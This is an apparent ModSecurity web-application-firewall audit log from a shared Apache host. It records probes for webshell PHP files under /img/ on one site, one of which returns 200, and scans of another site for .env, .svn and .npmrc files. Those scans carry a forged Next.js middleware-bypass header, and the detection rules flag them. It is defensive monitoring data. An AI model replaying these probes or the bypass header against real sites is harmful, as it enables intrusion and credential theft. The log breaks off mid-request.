Engine-Mode: "DETECTION_ONLY"

--a32fd33c-Z--

--c7bf321e-A--
[13/Sep/2026:16:41:39.473901 +0300] aqaoEysVWymXUono-eRXkgAAAAE 104.28.131.119 50336 127.0.0.1 7081
--c7bf321e-B--
GET /img/ufo19c_20960.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 104.28.131.119
X-Accel-Internal: /internal-nginx-static-location
Sec-Fetch-Dest: image
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.6.1 Mobile/15E148 Safari/604.1
Accept: image/webp,image/avif,image/jxl,image/heic,image/heic-sequence,video/*;q=0.8,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Referer: https://www.ihelp.ro/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Accept-Language: en-GB,en;q=0.9
Priority: u=5, i
Accept-Encoding: gzip, deflate, br, zstd
Cookie: csrfToken=Jj0mUJXKtVZWv0dbmldnC2JhYTFiZjc3OTkxYjZhOWNlMGQxZDlmMjBlM2JhZTMwMjNiOThhODc%3D

--c7bf321e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 7e7ea52a-07d4-4455-aaeb-454b9abd8e9f
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--c7bf321e-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19c_20960.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19c_20960.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19c_20960.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo19c_20960.php"] [unique_id "aqaoEysVWymXUono-eRXkgAAAAE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19c_20960.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo19c_20960.php"] [unique_id "aqaoEysVWymXUono-eRXkgAAAAE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306899235034 238939 (- - -)
Stopwatch2: 1789306899235034 238939; combined=5382, p1=232, p2=5064, p3=0, p4=0, p5=85, sr=89, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--c7bf321e-Z--

--03eedc28-A--
[13/Sep/2026:16:41:39.475428 +0300] aqaoE0wu1RSkptiiNIX@tQAAAIw 104.28.131.119 50374 127.0.0.1 7081
--03eedc28-B--
GET /img/ufo19b_6243.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 104.28.131.119
X-Accel-Internal: /internal-nginx-static-location
Sec-Fetch-Dest: image
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.6.1 Mobile/15E148 Safari/604.1
Accept: image/webp,image/avif,image/jxl,image/heic,image/heic-sequence,video/*;q=0.8,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Referer: https://www.ihelp.ro/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Accept-Language: en-GB,en;q=0.9
Priority: u=5, i
Accept-Encoding: gzip, deflate, br, zstd
Cookie: 3edd395a10c4893e5a21ace356f6da14key=d6a8dad0f695956302627a5068bb4318; csrfToken=Jj0mUJXKtVZWv0dbmldnC2JhYTFiZjc3OTkxYjZhOWNlMGQxZDlmMjBlM2JhZTMwMjNiOThhODc%3D

--03eedc28-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--03eedc28-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19b_6243.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19b_6243.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19b_6243.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo19b_6243.php"] [unique_id "aqaoE0wu1RSkptiiNIX@tQAAAIw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19b_6243.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo19b_6243.php"] [unique_id "aqaoE0wu1RSkptiiNIX@tQAAAIw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306899280352 195140 (- - -)
Stopwatch2: 1789306899280352 195140; combined=6565, p1=409, p2=6095, p3=0, p4=0, p5=60, sr=106, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--03eedc28-Z--

--6409b82e-A--
[13/Sep/2026:16:41:39.654571 +0300] aqaoEysVWymXUono-eRXkwAAAAY 104.28.131.119 50352 127.0.0.1 7081
--6409b82e-B--
GET /img/ufo19p_20539.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 104.28.131.119
X-Accel-Internal: /internal-nginx-static-location
Sec-Fetch-Dest: image
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.6.1 Mobile/15E148 Safari/604.1
Accept: image/webp,image/avif,image/jxl,image/heic,image/heic-sequence,video/*;q=0.8,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Referer: https://www.ihelp.ro/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Accept-Language: en-GB,en;q=0.9
Priority: u=5, i
Accept-Encoding: gzip, deflate, br, zstd
Cookie: csrfToken=Jj0mUJXKtVZWv0dbmldnC2JhYTFiZjc3OTkxYjZhOWNlMGQxZDlmMjBlM2JhZTMwMjNiOThhODc%3D

--6409b82e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 22cf8dfe-34a6-4463-9bc1-ef1e554fa70a
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6409b82e-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19p_20539.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19p_20539.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19p_20539.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo19p_20539.php"] [unique_id "aqaoEysVWymXUono-eRXkwAAAAY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19p_20539.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo19p_20539.php"] [unique_id "aqaoEysVWymXUono-eRXkwAAAAY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306899242581 412104 (- - -)
Stopwatch2: 1789306899242581 412104; combined=5641, p1=245, p2=5325, p3=0, p4=0, p5=70, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--6409b82e-Z--

--9fd31c6a-A--
[13/Sep/2026:16:41:39.750697 +0300] aqaoE0wu1RSkptiiNIX@tgAAAIc 104.28.131.119 50378 127.0.0.1 7081
--9fd31c6a-B--
GET /img/ufo19_20982.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 104.28.131.119
X-Accel-Internal: /internal-nginx-static-location
Sec-Fetch-Dest: image
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.6.1 Mobile/15E148 Safari/604.1
Accept: image/webp,image/avif,image/jxl,image/heic,image/heic-sequence,video/*;q=0.8,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Referer: https://www.ihelp.ro/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Accept-Language: en-GB,en;q=0.9
Priority: u=5, i
Accept-Encoding: gzip, deflate, br, zstd
Cookie: 3edd395a10c4893e5a21ace356f6da14key=d6a8dad0f695956302627a5068bb4318; csrfToken=Jj0mUJXKtVZWv0dbmldnC2JhYTFiZjc3OTkxYjZhOWNlMGQxZDlmMjBlM2JhZTMwMjNiOThhODc%3D

--9fd31c6a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: e407a86d-d20a-4a01-90d6-49ee5cfc7621
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--9fd31c6a-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_20982.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_20982.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_20982.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo19_20982.php"] [unique_id "aqaoE0wu1RSkptiiNIX@tgAAAIc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_20982.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo19_20982.php"] [unique_id "aqaoE0wu1RSkptiiNIX@tgAAAIc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306899290404 460363 (- - -)
Stopwatch2: 1789306899290404 460363; combined=6066, p1=316, p2=5654, p3=0, p4=0, p5=95, sr=142, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--9fd31c6a-Z--

--c8634b21-A--
[13/Sep/2026:16:41:39.778796 +0300] aqaoEysVWymXUono-eRXlAAAAA8 104.28.131.119 50368 127.0.0.1 7081
--c8634b21-B--
GET /img/ufo19w_831.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 104.28.131.119
X-Accel-Internal: /internal-nginx-static-location
Sec-Fetch-Dest: image
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.6.1 Mobile/15E148 Safari/604.1
Accept: image/webp,image/avif,image/jxl,image/heic,image/heic-sequence,video/*;q=0.8,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Referer: https://www.ihelp.ro/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Accept-Language: en-GB,en;q=0.9
Priority: u=5, i
Accept-Encoding: gzip, deflate, br, zstd
Cookie: csrfToken=Jj0mUJXKtVZWv0dbmldnC2JhYTFiZjc3OTkxYjZhOWNlMGQxZDlmMjBlM2JhZTMwMjNiOThhODc%3D

--c8634b21-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 4bc6695b-20ee-4a77-9943-6ae830f80245
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--c8634b21-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo19w_831.php"] [unique_id "aqaoEysVWymXUono-eRXlAAAAA8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo19w_831.php"] [unique_id "aqaoEysVWymXUono-eRXlAAAAA8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306899254823 524052 (- - -)
Stopwatch2: 1789306899254823 524052; combined=5531, p1=248, p2=5211, p3=0, p4=0, p5=72, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--c8634b21-Z--

--92803e06-A--
[13/Sep/2026:16:41:44.821853 +0300] aqaoGEwu1RSkptiiNIX@vQAAAIQ 34.182.226.0 50670 127.0.0.1 7081
--92803e06-B--
GET /.github/.env HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--92803e06-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--92803e06-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "81"] [id "33311"] [msg "IM360 WAF: Found crawler not in whitelist||T:APACHE||User-Agent:Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)||MV:16-41.34.182.226.0"] [severity "CRITICAL"] [tag "service_i360"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Stopwatch: 1789306904789861 32068 (- - -)
Stopwatch2: 1789306904789861 32068; combined=29189, p1=319, p2=28546, p3=0, p4=0, p5=323, sr=142, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--92803e06-Z--

--a0196e67-A--
[13/Sep/2026:16:41:45.870571 +0300] aqaoGWM7dE9KgIIOpQiBpgAAANY 34.182.226.0 36606 127.0.0.1 7081
--a0196e67-B--
POST /graphql HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
Origin: https://singlemaltcommunity.com
Referer: https://singlemaltcommunity.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"

--a0196e67-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a0196e67-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306905754288 116395 (- - -)
Stopwatch2: 1789306905754288 116395; combined=7865, p1=362, p2=7207, p3=0, p4=0, p5=295, sr=113, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a0196e67-Z--

--8ec9cd0e-A--
[13/Sep/2026:16:41:46.081899 +0300] aqaoGWM7dE9KgIIOpQiBqQAAAMw 34.182.226.0 36630 127.0.0.1 7081
--8ec9cd0e-B--
GET /.svn/entries HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--8ec9cd0e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8ec9cd0e-H--
Message: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.svn/entries||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.svn/entries||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.svn/entries||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/.svn/entries"] [unique_id "aqaoGWM7dE9KgIIOpQiBqQAAAMw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.svn/entries||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/.svn/entries"] [unique_id "aqaoGWM7dE9KgIIOpQiBqQAAAMw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306905921420 160538 (- - -)
Stopwatch2: 1789306905921420 160538; combined=36229, p1=383, p2=35752, p3=0, p4=0, p5=93, sr=211, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8ec9cd0e-Z--

--bb571177-A--
[13/Sep/2026:16:41:46.152285 +0300] aqaoGWM7dE9KgIIOpQiBqAAAAMQ 34.182.226.0 36614 127.0.0.1 7081
--bb571177-B--
GET /.npmrc HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
